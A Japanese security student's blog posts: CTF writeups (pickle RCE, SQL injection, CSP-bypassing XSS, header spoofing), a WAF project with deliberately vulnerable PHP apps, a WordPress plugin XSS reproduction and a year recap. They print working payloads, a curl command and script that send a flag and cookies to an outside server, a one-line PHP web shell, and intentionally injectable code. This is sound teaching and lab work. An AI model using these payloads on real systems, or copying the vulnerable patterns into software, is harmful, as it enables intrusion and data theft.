CTFから逃げるな

CTFは健康に悪い

ångstromCTF 2021

writeup

585点で372位。時間の長いCTFだとどうしても初日で燃え尽きてしまう・・・

f:id:y0d3n:20210410122433p:plain
result

解けたwebだけwriteup書いていきます。

Jar (70pt 349solve)

My other pickle challenges seem to be giving you all a hard time, so here's a [simpler one](url) to get you warmed up.

アクセスすると、でかでかとピクルスの画像。
入力した内容がランダムな場所に出現する。(以下a, b, hogeと入力した状態)

f:id:y0d3n:20210408105617p:plain
jar

ソースが配布されているので読むと、pythonpickleを利用して入力値をcookieに保存しているようだ。

@app.route('/add', methods=['POST'])
def add():
    contents = request.cookies.get('contents')
    if contents: items = pickle.loads(base64.b64decode(contents))
    else: items = []
    items.append(request.form['item'])
    response = make_response(redirect('/'))
    response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
    return response

pickle exploit等でググるといっぱい出てくるので、参考にしてexplitを書く。

davidhamann.de

今回の問題ではpickle.dumpsされる部分が配列になっているので、元のソースのRCE()の部分を[RCE()]にした。

import os
import pickle
import base64

class RCE:
    def __reduce__(self):
        cmd = ('curl [url]?`echo $FLAG`')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps([RCE()])
    print(base64.urlsafe_b64encode(pickled))

実行結果はgASVaQAAAAAAAABdlIwFcG9zaXiUjAZzeXN0ZW2Uk5SMS2N1cmwgaHR0cHM6Ly93ZWJob29rLnNpdGUvNjVlOTRiZjQtMDExMC00ZTE5LWIxOTItMDllYzhjOGE2YWU4P2BlY2hvICRGTEFHYJSFlFKUYS4=。これをcookieにセットしてページを更新すれば、[url]?[flag]にアクセスが来る。

f:id:y0d3n:20210408120722p:plain
jar flag

フォーマットをよしなにすればflag。

actf{you_got_yourself_out_of_a_pickle}

Sea of Quills (70pt 376solve)

Come check out our [finest selection of quills](url)!

アクセスすると、よくわからない一覧が表示される。

f:id:y0d3n:20210408121141p:plain
sea of quills main

Exploreに遷移すると、AmountStarting fromを指定する検索ページ。

f:id:y0d3n:20210408121328p:plain
sea of quills explore

Amountなどに文字を入れると怒られ、数字を入れるといいかんじにレスポンスが返ってくる。
ソースが配布されているので見てみる。

post '/quills' do
    db = SQLite3::Database.new "quills.db"
    (snip)
    blacklist = ["-", "/", ";", "'", "\""]
    
    blacklist.each { |word|
        if cols.include? word
            return "beep boop sqli detected!"
        end
    }

    
    if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
        return "bad, no quills for you!"
    end

    @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])のところ、SQLiがありそうだ。
limoffはExploreで指定した二つのパラメータだろう。数字しか受け付けないらしいのであまり活用できなそう。colsに注目する。

開発者ツールで通信を見てみると、POST時にcolも送信している。SQLiができそうだ。

f:id:y0d3n:20210408121942p:plain
request

rubyのソースを読んでSQLite3を使用していることがわかったので、burpで通信を書き換えてsqlite_masterに対してselectしてみる。
blacklistで記号が弾かれるため、コメントアウトが使えそうにない。
構文を成立させてselectする必要がある。

limit=10&offset=1&cols=*+from+sqlite_master+union+select+1,2,3,4,5

sqlite_masterのカラム数は5なので、union+select+1,2,3,4,5を忘れないように。
リクエストを送ると、以下のレスポンスが返ってくる。

<li class="pb5 pl3">
  flagtable 
  <ul>
    <li>
      flagtable
    </li>
  </ul>
</li>

flagtableからselectする。

limit=10&offset=1&cols=*+from+flagtable+union+select+1

flagが返ってくる。

actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}

nomnomnom (130pt 112solve)

I've made a new game that is sure to make all the Venture Capitalists want to invest! Care to try it out?

[NOM NOM NOM (the game)](url)

f:id:y0d3n:20210410132908p:plain
nomnomnom

十字キーで青い球を操って黄色い球を回収していくゲーム。1つ回収するたびに青い球が速くなっていき、壁に激突するとゲームオーバー。(自己ベストは13点)

ゲームオーバーになると、what's your username? (for the share)という内容のpromptが実行される。そこにユーザ名を入力した結果が以下。

f:id:y0d3n:20210410133914p:plain
share

この時のURLはshares/43780c60b357d32bshares以降の16進数はランダム。
Play!は再チャレンジ、Reportクローラーに現在のURLを提出する。

yodenの部分がユーザの入力値が反映される部分。
試しに<s>sss</s>と入力するとHTMLがエスケープ等されずに出力された。

f:id:y0d3n:20210410134723p:plain
<s>sss</s>

となると、scriptを入れてみたくなる。<script>alert(1)</script>と入力してみる。

f:id:y0d3n:20210410134928p:plain
CSP

nonceが正しくないと怒られる。XSSするならCSPをバイパスしないといけないようだ。
このときのソースは以下。

This score was set by <script>alert(1)</script>
<script nonce='e8b575c99d536782e1588ec51e30c285'>
function report() {
   fetch('/report/06c9f8884f64b64b', {
       method: 'POST'
   })
}

document.getElementById('reporter').onclick = () => { report() }
</script> 

入力値の直下にreportscriptがある。
Dangling markup injectionが使えそうだ。

クローラーのソースを読むと、firefoxを指定しているのでfirefoxで試す。

const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })

alert(1)とだけ書いた自前サーバを用意し、<script src="[url]"*1を入力する。

f:id:y0d3n:20210410143552p:plain
Dangling markup injection

HTMLを意図的に崩した影響で、src="[url]", <script="", nonce="[nonce]"という属性を持ったscriptタグを作ることに成功した。

f:id:y0d3n:20210410141314p:plain
alert(1)

サーバの内容をdocument.location="[url]?"+document.cookieにしてreportすればアクセスがくるかと思ったが、HTMLを壊したことで、resultを送信するjsが上手く動かない。
仕方ないのでyodenなどでshareしたもののreportをburpで書き換える。
share/[yodenのURL]をreportすると以下。

POST /report/[yodenのURL] HTTP/1.1

[yodenのURL]の部分を[<scriptのURL]に書き換えるとcookieつきでアクセスがくる。

f:id:y0d3n:20210410141549p:plain
document.location="[url]?"+document.cookie

cookieno_this_is_not_the_challenge_go_away=45628003f424b67698622e643f86ed78126981f5b545d2c403e232b11bc96cb751aa93e481ca20d04aee0ac64e37c2068c09db440d3aa86a100bd21eb59088b9をセットしてページを更新すればflag。 (書きながら試したところcookieの値が変わっていたので、この値ではflagはでません)

actf{w0ah_the_t4g_n0mm3d_th1ng5}

Spoofy (160pt 197solve)

Clam decided to switch from repl.it to an actual hosting service like Heroku. In typical clam fashion, [he left a backdoor](url) in. Unfortunately for him, he should've stayed with repl.it...

アクセスするといきなりI don't trust you >:(といわれる。
ソースを読んでみる。

def main_page() -> Response:
    if "X-Forwarded-For" in request.headers:
        # https://stackoverflow.com/q/18264304/
        # Some people say first ip in list, some people say last
        # I don't know who to believe
        # So just believe both
        ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
        if not ips:
            return text_response("How is it even possible to have 0 IPs???", 400)
        if ips[0] != ips[-1]:
            return text_response(
                "First and last IPs disagree so I'm just going to not serve this request.",
                400,
            )
        ip: str = ips[0]
        if ip != "1.3.3.7":
            return text_response("I don't trust you >:(", 401)
        return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
    else:
        return text_response("Please run the server through a proxy.", 400)

X-Forwarded-Forヘッダの最初と最後がどちらも1.3.3.7だとflagがもらえるらしい。

burpでX-Forwarded-For: 1.3.3.7にしたところ、First and last IPs disagree
問題サーバーまでにX-Forwarded-ForにIPが追加されてしまっているのだろう。

ソースを参考にローカルでいろいろ試していたら、X-Forwarded-Forヘッダが二つある場合、一つ目の後ろに二つ目が結合されることがわかった。

X-Forwarded-For: 1.3.3.7
X-Forwarded-For: 1.3.3.7

request.headers["X-Forwarded-For"].split(", ")を出力させると['1.3.3.7,1.3.3.7']だった。
二つが結合されて1.3.3.7,1.3.3.7になっている。split(", ")なので、,の後ろにスペースがなくてsplitされていない。

ちなみに、この時のレスポンスはFirst and last IPs disagree

ここで、この時の実際のヘッダが以下のようになってるのではないかと予想した。*2*3

X-Forwarded-For: 1.3.3.7, 8.8.8.8
X-Forwarded-For: 1.3.3.7

もしこうなっていた場合、request.headers["X-Forwarded-For"].split(", ")['1.3.3.7', '8.8.8.8,1.3.3.7']になっているはずだ。

split(", ")で8.8.8.8と分離させるために、二つ目のX-Forwarded-Forヘッダを, 1.3.3.7にする。

X-Forwarded-For: 1.3.3.7
X-Forwarded-For: , 1.3.3.7

これでリクエストを送ってみたらflagがゲットできた。

actf{spoofing_is_quite_spiffy}

*1:>がない

*2:「この問題が解けるってことはこういうことじゃないかな」と逆算していた

*3:8.8.8.8は適当な値

WAffle

WAffle開発記【WAF/Vuln編】

f:id:y0d3n:20210208212744p:plain
a Web Application Firewall using Signature and Character-level CNN

こんにちは、y0d3nです。授業の一環で友人とチームを組んでdenylistと機械学習ベースのWAFを実装したので、成果物の開発機を書こうと思います。

github.com

チームは3人。

  • futabato
    機械学習でよしなにしてくれた
  • l7elVli
    ログ監視のWebアプリをよしなにしてくれた
  • y0d3n
    denylistベースのWAFと、防御対象の脆弱なWebアプリをよしなにした

機械学習はfutabatoが書いてくれています。そちらも是非読んでみてください。

01futabato10.hateblo.jp

自分は「WAF/Vuln編」ということで、denylistベースのWAFと、WAFが防御する対象となる脆弱なWebアプリについて書きます。

denylistについてですが、完成間近まではblacklistでした。
コードの引用時などは変に変更すると面倒なことになりそうなので修正していません。

Signature based WAF

なぜWAF?

"ものづくり"という授業があり、「何かしらの成果物を作る」という感じ。
3人集まったはいいものの、何を作るか決めかねていたらMBSDの募集がそろそろ始まるという情報が。

「ものづくりの授業、MBSDの課題をやろう」
3人でこんなことを言っていました。

しかし、いざ発表された課題はものづくりの授業で作るようなものとは違い、悩んだ末に「去年のMBSDの課題をやろう」となりました。

技術選定

言語

まずは言語。それぞれのメイン言語はバラバラ。
「せっかくなら機械学習ベースのWAF作りたくない?」
ということになり、言語はPythonに決定。

WAFの種類

IPAWeb Application Firewall 読本に書いてある通りWAFにはいくつかの種類があり、設置場所や通信の遮断方式などが変わってきます。

「まず、WAFってどうやってつくるの・・・?」
という空気になったため、一通り調べた中でイメージがしやすかったリバースプロキシ型にしました。

イメージ

denylistを通過してきたものを機械学習でチェックする感じに決まりました。

f:id:y0d3n:20210209180500p:plain
WAffleイメージ

中身

リバースプロキシWAFのサンプル(Browse files)

@app.route('/<regex(".*"):path>')
def proxy(path):
    if "<" in path:
        return render_template('waffle.html')
    url = "http://localhost:80/"+path
    r = requests.get(url)
    return Response(r.content)

手始めに「URLに<が含まれていたら遮断、そうでないならURLから内容を取得して返す」という動作をするものを作りました。
しかし、URLクエリがチェックされていなかったのでそこもよしなに(Browse files)

    query = req.query_string
    if query != b'' :
        path += "?" + query.decode()

waffle.html(遮断された画面)はこんな感じです。
クラスメイトから「めっちゃかっこいい」との感想を頂けたので嬉しい。

f:id:y0d3n:20210207231619p:plain
WAffle

もうdenylistベースのWAFが完成したといっても過言ではないですね!(過言)

正規表現で指定できるdenylist(Browse files)

with open("blacklist.txt") as f:
    bList = [s.strip() for s in f.readlines()]
(snip)
    for val in bList:
        m = re.match(val, path, re.IGNORECASE)
        if m != None :
            return render_template('waffle.html')

denylistをとってきて、パラメータがそれに当てはまるかを正規表現でチェック。
.*<script.*>.*みたいな感じに入れておくと、scriptタグが含まれるときに遮断できます。
denylistを育てるのはとても面倒なので後回しです。

POSTリクエストに対応(Browse files)

今までの仕様ではURLしか扱っていなかったため、リクエストボディなどは無視されていました。
proxy関数をgetとpostに分け、それぞれ書きます。
(この方法ではリクエストメソッドの数だけ関数を増やさないといけないことに気づいていない。)

@app.route('/<regex(".*"):path>', methods=["GET"])
(snip)
@app.route('/<regex(".*"):path>', methods=["POST"])
def post(path):
    if waf(path, req.get_data().decode()):
        return render_template('waffle.html')

    proc = subprocess.run(["curl", "http://localhost:80/"+path, "--data", req.get_data().decode()], stdout=subprocess.PIPE)
    return Response(proc.stdout)

curlを使うのはアリなのかしばらく悩みましたが、「どう実装するのが正解かわからない」かつ「curlだと手軽に叩ける」となりこれを採用しました。もっとスマートなやり方がありそう。

複数のリクエストメソッドに対応(Browse files)

先述したとおり、このままGET関数、POST関数・・・と増やしていくことになるのですが、とても面倒ですし汚いです。
ということで拡張しやすくしました。

@app.route('/<regex(".*"):path>', methods=["GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE", "PATCH"])
(snip)
    try :
        proc = subprocess.run(["curl", "-X", req.method, url+path,"-H","Content-Type:" + req.headers.getlist("Content-Type")[0] , "--data", req.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    except:
        proc = subprocess.run(["curl", "-X", req.method, url+path, "--data", req.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return Response(proc.stdout)

リクエストボディがないときにボディを参照しようとするとエラーになるため、try & exceptでよしなにしました。(これもまたスマートじゃないと思う)

Cookieに対応(Browse files)

「ほぼ完成してきたのでは?」と思い、保護対象のURLを適当なサービスにしてみたところ(攻撃はしてません)、ログインできないことが発覚。Cookieです。
ということでCookieに対応しました。

    cookie = ""
    for i ,v in request.cookies.items():
        cookie += i + "=" + v +";"

    try :
        proc = subprocess.run(["curl", "-X", request.method, "-i", "-A", request.user_agent.string, url+path, "-H", "Cookie: " + cookie, "-H", "Content-Type:" + request.headers.getlist("Content-Type")[0] , "--data", request.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    except:
        proc = subprocess.run(["curl", "-X", request.method, "-i", "-A", request.user_agent.string, url+path, "-H", "Cookie: " + cookie, "-H", "--data", request.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    # HTTPレスポンスをヘッダとボディで分割
    splited_res = proc.stdout.split("\r\n\r\n".encode("utf-8"),1)
    if len(splited_res) == 1:
        res = make_response("")
    else :
        res = make_response(splited_res[1])

    # HTTPレスポンスヘッダヘッダからcookieを探してセットする
    for v in splited_res[0].split("\r\n".encode("utf-8")):
        if v.startswith(b'Set-Cookie'):
            s = v.split(":".encode("utf-8"), 1)[1].split("=".encode("utf-8"), 1)
            res.set_cookie(s[0].decode("utf-8"), s[1].split(";".encode("utf-8"), 1)[0].decode('utf-8'))
    return res

レスポンスヘッダに含まれるSet-Cookieを抽出してセットさせています。
ここもまただいぶ試行錯誤して実装していました。

機械学習を組み込む(Browse files)

さて、denylistベースのWAFはほぼ完成です。
futabatoが機械学習をよしなにしてくれているので、正規表現をスルーされた際にpredictionを呼び出すようにします。

    is_abnormal = waf(url, path, str(body_data), str(cookie_data))
    if is_abnormal == 1:
        return render_template('waffle.html')
(snip)
def waf(url, path, body, cookie):
    if not signature(path, body, cookie):
        # パターンマッチングで引っかかった場合100%異常とする
        return 1
    return prediction(url + path)

2度目になりますが、predictionなどの機械学習編はfutabatoが書いてくれているのでそちらを参考にしてください。

01futabato10.hateblo.jp

これでdenylistと機械学習ベースのWAFが完成しました。

Vuln apps

WAFを作るにあたって必要になったのが防御対象のWebアプリケーションです。
私は普段Webセキュリティを中心に勉強しているのでこれも担当することになりました。(ソロ開発なので命名が絶望的に適当な部分があります)

環境

私のメインの言語はGoだったのでGoで作ろうとしましたが、「デフォルトで無効」にされているものが多く、自然に脆弱性を作りこむことが困難だと思い、PHPにしました。

脆弱なWebアプリケーションを自分のマシンでホストするのは嫌だったので、docker-composeでnginxを使いました。

以下の脆弱性を再現しました。

  • XSS
  • XXE
  • SQL Injection
  • OS Command Injection
  • Path Traversal
  • Remote File Inclusion
  • Mail Header Injection

XSS

URLクエリパラメータのXSS(Browse file)

これは単純ですね。inputパラメータにXSSを作成しました。

<body>
    <form action="" method="get">
        <input type="text" name="input" size="50" id="input"><br>
        <input type="button" onclick="document.getElementById('input').value = '<script>alert(1)</script>';" value="attack"><input type="submit" value="送信">
    </form>
    <hr>
    output: <?php
            $input = $_GET["input"];
            print $input;
            ?>
</body>

f:id:y0d3n:20210207145103p:plain
hoge

f:id:y0d3n:20210207145155p:plain
alert

リクエストボディのXSS(Browse file)

GETをPOSTにしただけ。

<body>
    <form method="post">
        <input type="text" name="input" size="50" id="input"><br>
        <input type="button" onclick="document.getElementById('input').value = '<script>alert(1)</script>';" value="attack"><input type="submit" value="送信">
    </form>
    <hr>
    output: <?php
            $input = $_POST["input"];
            print $input;
            ?>
</body>

f:id:y0d3n:20210207145954p:plain
alert

XXE

PHPプログラマのためのXXE入門」を参考に、ファイルアップロードによるXXEを再現しました。

blog.tokumaru.org

SQL Injection(Browse file)

今度はSQLiです。DBのコンテナを準備します。
docker-compose.ymlに以下を追記。

  db:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: docker
      MYSQL_DATABASE: docker
      MYSQL_USER: docker
      MYSQL_PASSWORD: docker
    ports:
      - "3306:3306"
    volumes:
      - ./containers/mysql/init.sql:/docker-entrypoint-initdb.d/init.sql

ユーザ名やパスワード、DB等は管理が面倒だったので全部dockerにしました。
ビルド時にDBにデータが自動で入るようにするため、init.sqlを作成します。

drop database if exists docker;
create database docker;
use docker;
drop table if exists docker;
create table docker (
    name char(50),
    pass char(50)
);
insert into docker values ('admin', 'P@ssw0rd'); 
insert into docker values ('yoden', 'Svp3rS3cr3tP4sswr0d!!!'); 
insert into docker values ('flag', 'flag{7h1s_1s_f4k3_fl4g}'); 

テーブル名とカラム名dockerです。(チーム開発だとそろそろキレられそう)
sudo docker exec -it <コンテナID> bashでコンテナに入ってmysql -u docker -pとかして確認すると、きちんとできてるのが確認できます。

最後にPHPです。

<?php
try {
    $db = new PDO('mysql:host=db;dbname=docker', 'docker', 'docker');
    $sql = 'SELECT name,pass FROM docker WHERE name=\'' . $_GET["input"] . '\';';
    $stmt = $db->prepare($sql);
    $stmt->execute();
    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (PDOException $e) {
    echo $e->getMessage();
    exit;
} ?>
(snip)
    <form method="GET">
        name <input type="text" name="input" size="50" id="input"><br>
        <input type="button" onclick="document.getElementById('input').value = '\'or 1=1\;--';" value="attack"><input type="submit" value="送信">
    </form>
    <hr>
    <?
        echo "<p>$sql</p><table border=\"1\"><tr><th>name</th><th>pass</th>";
        foreach( $result as $value ) {
            echo "<tr><td>$value[name] </td><td>$value[pass]</tt></tr>";
        }
        ?>
    </table>

f:id:y0d3n:20210207222539p:plain
yoden

f:id:y0d3n:20210207222604p:plain
1=1

SQLiが再現できました。
しかし、作成後「cookieを使った脆弱なページが欲しい」となり、cookieバージョンも作成。

<?php
if (!isset($_COOKIE["name"])) {
    setcookie("name", "yoden");
}
if (!isset($_COOKIE["limit"])) {
    setcookie("limit", 1);
}
(snip)
    $sql = 'SELECT name,pass FROM docker WHERE name=\'' . $_COOKIE["name"] . '\' LIMIT ' . $_COOKIE["limit"] . ';';
(snip)
<input type="button" onclick="document.cookie='name=\' or 1=1\%3b--';" value="attack">

大半はさっきのコードからの引用で、setcookieを追加し、SQLの呼び出しではcookieからよしなにするようにしました。

Path Traversal(Browse file)

URLやリクエストボディ、cookieなどを使ったものは既に作ったので、WAFのテストには充分でしたが、折角なので他にもいくつか作りました。

    <ul>
        <li>
            <a href="?input=index.php">index</a>
        </li>
        <li>
            <a href="?input=/etc/passwd">/etc/passwd</a>
        </li>
        <li>
            <a href="?input=php://filter/convert.base64-encode/resource=index.php">base64(index)</a>
        </li>
        <li>
            <a href="?input=https://raw.githubusercontent.com/futabato/WAffle/main/vuln/etc/shell.txt&cmd=ls">RFI</a>
        </li>
    </ul>
    <hr>
    <?php
    if (isset($_GET['input'])) {
        $file = $_GET['input'];
        include($file);
    }
    ?>

f:id:y0d3n:20210207225939p:plain
/etc/passwd

f:id:y0d3n:20210207230003p:plain
base64(index.php)

PCFET0NUWVBFIGh0bWw+...base64デコードするとindex.phpのソースになります。

f:id:y0d3n:20210207230218p:plain
RFI

Path Traversalを再現するつもりが、RFIもできてしまってびっくりしました。
指定しているファイルは以下のような感じ。(Browse file)

<?php
system($_GET["cmd"]);
?>

https://raw.githubusercontent.com/futabato/WAffle/main/vuln/etc/shell.txtは上記のphpのコードが表示されるテキストファイルですが、これをincludeするとPHPとして実行されます。

OS Command Injection(Browse file)

    <ul>
        <li>
            <a href="?input=hello">hello</a>
        </li>
        <li>
            <a href="?input=;ls">ls</a>
        </li>
    </ul>
    <?php
    if (isset($_GET['input'])) {
        exec("echo " . $_GET['input'], $output);
        echo "<pre>";
        print_r($output);
        echo "</pre>";
    }
    ?>

f:id:y0d3n:20210207230441p:plain
hello

f:id:y0d3n:20210207230420p:plain
ls

Mail Header Injection

「メールヘッダ・インジェクションの挙動を実際に手を動かして確認した」を参考に、メールヘッダインジェクションを再現しました。

qiita.com

振り返り

複数人で開発するのはほぼ初めてだったのでいい経験になりました。
githubがある程度使えるようになったのが結構嬉しいですね。(コミットメッセージを遡るの楽しい)
個人的にはVulnがCTFの作問に生かせそうで、それも嬉しいです。

最後までご覧いただきありがとうございました。

足跡

2020年 やったこと

飲酒しながら思いついたのから雑に書いた

CTF

オフライン勉強会や、授業(夏前まで)が消えたので狂ったようにオンラインCTFに参加した。

DawgCTF 2020, PlaidCTF, WPICTF 2020, UMDCTF, Houseplant CTF 2020, IJCTF, covid-19 CTF, De1CTF, SharkyCTF, SpamAndFlags, DEFCON CTF Qualifier 2020, TJCTF 2020, SECCON Begginers ctf, castorsCTF, RCTF 2020, HSCTF 7, 2020 Defenit CTF, NahamCon CTF, Zh3r0 CTF, CYBERHOME, UUTCTF2020, redpwnCTF 2020, 0CTF/TCTF 2020 Quals, ASIS CTF Quals 2020, TSG CTF 2020, UIUCTF 2020, NITIC CTF, HacktivityCon CTF, InCTF 2020, Google CTF, TokyoWesterns CTF 6th 2020, SECCON 2020 Online CTF, CyberYoddha CTF 2020, KipodAfterFree CTF, KosenXm4sCTF, Harekaze mini CTF

チーム : After_the_CM

全然順位良くならなくて泣きそうになりながらやってる。
寝ずに48時間取り組んでも後日に影響でない体が欲しい。

あと、サークル主催の学内CTFに便乗して作問した。writeup
特に質問や障害もなく、submitされたflagを眺めてるくらいしかやることなかったけど楽しかった。次の機会があったらもっと作る。
(他のCTFで問題のクオリティが高すぎて悲しくなるようになった)

AtCoder

rating += 246

茶コーダーと灰コーダーの間をうろちょろした

f:id:y0d3n:20201231203658p:plain
AtCoder rating

アルゴリズムの勉強はしてないからレートはあんま伸びないけど、実装力は確実に伸びた。

趣味で何か作ろうとしたときになんとなくやり方が思い浮かべることができるようになった。
(同時にゲーム中に「これはこういう仕組みかな」とか雑念が増えた)

勉強会

第44回OWASP Sendaiミーティング, 第31回MBSDセキュリティ勉強会, SECCON Beginners Live, CODE BLUE 2020 ONLINE, TMCIT×大和セキュリティ ペネトレ超入門

改めてみると少ない気がする。たぶんなんか見落としてるけどとある事情で書いた書類を書き直すのも面倒なので放置。
正味、オンラインの基調講演とかはよっぽど興味あったのしか覚えてないしね

MBSDとTMCIT×大和セキュリティの二つはハンズオン形式だったのでよく覚えてる。楽しかった。

バグハント

進捗なし

f:id:y0d3n:20201231205848p:plain
たたかないで

まじでなんもわからん。
やってる間、バグを見つけるまで進捗が0になるのがつらい。
「なんか怪しそう」って思ったらスコープ外だった、とかあると本当に萎える。

とりあえず基礎からやりなおそうとおもってWeb Security Academyをやってる。

f:id:y0d3n:20201231210027p:plain
Web Security Academy

my new gear…

全部買ってよかった。めちゃ快適になった
特に自キ。肩が楽になった。

季節の行事

だけ。俺の2020は夏しかなかった。(プールとかは行きたかった)

飲酒

成人初日はほろよいと檸檬
「ジュースじゃん?」

しばらくしてストゼロとか
「あんま好きじゃない」

缶からビンにシフト。マリブ、翠、梅酒、ウイスキー、ワインなどなど
思いつきでいろいろ混ぜて楽しんでる

「よくあるやつ」を一通り飲んだ感じ、日本酒が結構好き。
カクテルとか全然知らんのでそのうち手出したいね

まとめ

いろいろと台無しにされた一年だった。
俺らはまだマシかもしれないけど、修学旅行が中止とか新一年生とかの代は本当にキツそう。

1年間お疲れ様でした。

WordPressをハックしてみる

WordPressをハックしてみる

この記事はIPFactory Advent Calendar 2020の12日目の記事です。

qiita.com

前日12/11はn01e0による「彼女を実装しました」でした。

feneshi.co

WordPress(の拡張機能)をハックしてみる

Mr-Robotなどに挑戦してみるも全く歯が立たず・・・

もっと初歩からやってみようと思い、適当な拡張機能脆弱性から試してみることに。
やられサーバを探すのもいいですが、自分で構築してみるのも楽しいものです。

やってみたらとても簡単で、お手軽に構築できたので書きました。

Easing Slider <= 2.2.0.6 - 2 x Cross-Site Scripting (XSS)

https://wpscan.com/vulnerability/7787wpscan.com

seclists.org

Easing Sliderというプラグインのバージョン2.2.0.6以下でXSSがあるらしい。
環境構築からやっていきます。

WordPress

次の設定をdocker-compose.ymlとして保存し、docker-compose up -dで起動します

version: '3'

services:
   db:
     image: mysql:latest
     volumes:
       - db_data:/var/lib/mysql
     environment:
       MYSQL_ROOT_PASSWORD: somewordpress
       MYSQL_DATABASE: wordpress
       MYSQL_USER: wordpress
       MYSQL_PASSWORD: wordpress

   wordpress:
     depends_on:
       - db
     image: wordpress:latest
     ports:
       - "8000:80"
     environment:
       WORDPRESS_DB_HOST: db:3306
       WORDPRESS_DB_USER: wordpress
       WORDPRESS_DB_PASSWORD: wordpress
volumes:
    db_data:
sudo docker-compose up -d

http://localhost:8080 からいい感じにインストールします。

Plugins

ログインまでできたら、Pluginsを開き、Add Newからプラグインを2つ入れましょう。

Easing Slider

今回ハックするプラグイン。「Easing Slider」で検索したらちょっと下の方に出てきます*1

f:id:y0d3n:20201208052652p:plain
Easing Slider

WP Rollback

プラグインのバージョンを指定できるようになるプラグイン

f:id:y0d3n:20201207203401p:plain
WP Rollback

Rollback

両方ともインストール完了したら、PluginsからEasing SliderのRollbackをクリックしてEasing Sliderのバージョンを下げていきます。

f:id:y0d3n:20201208123901p:plain
Plugins

3.0.8installed versionと書かれていますね。

f:id:y0d3n:20201212111655p:plain
installed

今回再現したい脆弱性は「Easing Slider <= 2.2.0.6 - 2 x Cross-Site Scripting (XSS)」なので、2.2.0.6以下のバージョンを選択しましょう。

ここでは2.2.0.6で進めていきます。
Rollbackボタンを押すとAre you sure you want to perform the following rollback?と聞かれるのでRollbackボタンをクリックします。

f:id:y0d3n:20201212111859p:plain
Rollback alert

Rollbackが始まったらそのまま数秒まてばよしなにしてくれます。Activate Pluginをクリックしてプラグインを有効化しましょう。

f:id:y0d3n:20201208132803p:plain
Rollback

Pluginsからバージョンを確認すると、2.2.0.6になっています。

f:id:y0d3n:20201212111950p:plain
Rollbacked

Writeup

準備完了です。やっていきましょう。

Easing Sliderの影響で左のペインにSlidersがでてきています。

f:id:y0d3n:20201208123641p:plain
Sliders

Add Newから適当にスライダーを追加した後、All Slidersから作成したスライダーを開きます。
http://localhost:8000/wp-admin/admin.php?page=easingslider_edit_sliders&edit=5

ソースを見ると、URLが反映されている箇所があります。

f:id:y0d3n:20201208134121p:plain
source

http://localhost:8000/wp-admin/admin.php?page=easingslider_edit_sliders&edit=5%22%3E
%22%3E">。適切にサニタイズされてないらしく、actionからHTMLが崩れているのが確認できます。

f:id:y0d3n:20201208134726p:plain
source

ということで、次のURLでアラートがでます。
http://localhost:8000/wp-admin/admin.php?page=easingslider_edit_sliders&edit=%27%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

f:id:y0d3n:20201208135451p:plain
source

f:id:y0d3n:20201208112322p:plain
alert

XSSの再現ができました。

Easing Slider:latest

最新のバージョンは3.0.8。アップデートしてから同じようなペイロードを試してみました。

http://localhost:8000/wp-admin/admin.php?page=easingslider&edit=5%22%3E

f:id:y0d3n:20201208140849p:plain
Ver.3.0.8

actionedit=...が反映されなくなっています。しっかり直ってるみたいですね。

試した後はしっかり停止しましょう

sudo docker-compose down

余談: あとがき

本記事では「環境構築の簡単さ」がメインだったので、単純で攻撃成功がわかりやすそうな脆弱性をずっと試してたのですが、なかなか( exploit/writeupが転がってる && プラグインがまだある && プラグインの脆弱なバージョンがインストールできる) ものが見つけられず・・・

CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)とスコアはだいぶ低いものの、アラート出せばわかりやすくて再現も簡単ということでこれを選びました。

環境構築やバージョンの指定がだいぶ簡単なので、いいexploitが見つかったらすぐに試せるのはうれしいですね。RCEとかも丁度良いのがあったら再現したいです。

余談: IPFactoryについて

IPFactoryとは、情報科学専門学校という学校に存在する学内サークルです。
IPFに在籍するメンバーがそれぞれ自身の専門分野についての勉強やアウトプット活動を行っています。
サークル内有志メンバーでCTFを主催したりもしています。
IPFに所属する各メンバーのTwitterやブログ等はこちらのページを参照してください。

ipfactory.github.io

明日13日目はPeD1yの「Raspberry Pi 4で作る監視カメラ(検出・撮影)」です。お楽しみに

*1:4年前にアップデートが止まっているので検索上位にはでてこないっぽい?

CyberYoddha CTF 2020

CyberYoddha CTF 2020参加してました

サイバーヨーダCTF。名前に釣られて参加してました。
CTFというよりは「基本的なコマンドを知ってるか」とか、知識が試されるような感じの問題が多い感じでした。

わざわざwriteupを書くような問題は解けてないので、非想定解引いた話でもします。

Data Store

f:id:y0d3n:20201102090748p:plain
Data Store

ログイン画面。Username: ' or 1;--, Password: aみたいな感じにすればログインできる。
初歩的なSQLi。

ログイン後、/secretに飛ばされ、そこにFlagがあるだけ。
しかし、Data Storeをsubmitしたところ、Data Store2が出てきた。レベルアップ版だろうか。

Data Store 2

Data Storeと同じような画面。
もちろん、さっきのペイロードではログインできない。

さて、ここからが本題。

CTFやってる人なら以下のような考えが浮かぶ人も少なくないのではないでしょうか。

「Data Storeは/secretだったし、Data Store 2も/secretっしょ!!」

そう言いながら/secretにアクセスしたところ、flagが表示されてしまった。
同様にData Store 3も、問題を解くことなくflagを得ることができてしまった。。。

競技中はfirefoxを使用していますが、試してみるとChromeだとYou need to login first.と怒られました。
運が良かった(?)様です😅

このブログを書いてる時に試してみると、firefoxでも怒られた。途中で対策したのかな。
(「問題が壊される」とかじゃない限り途中で使用変えるのは良くないと思うけど)

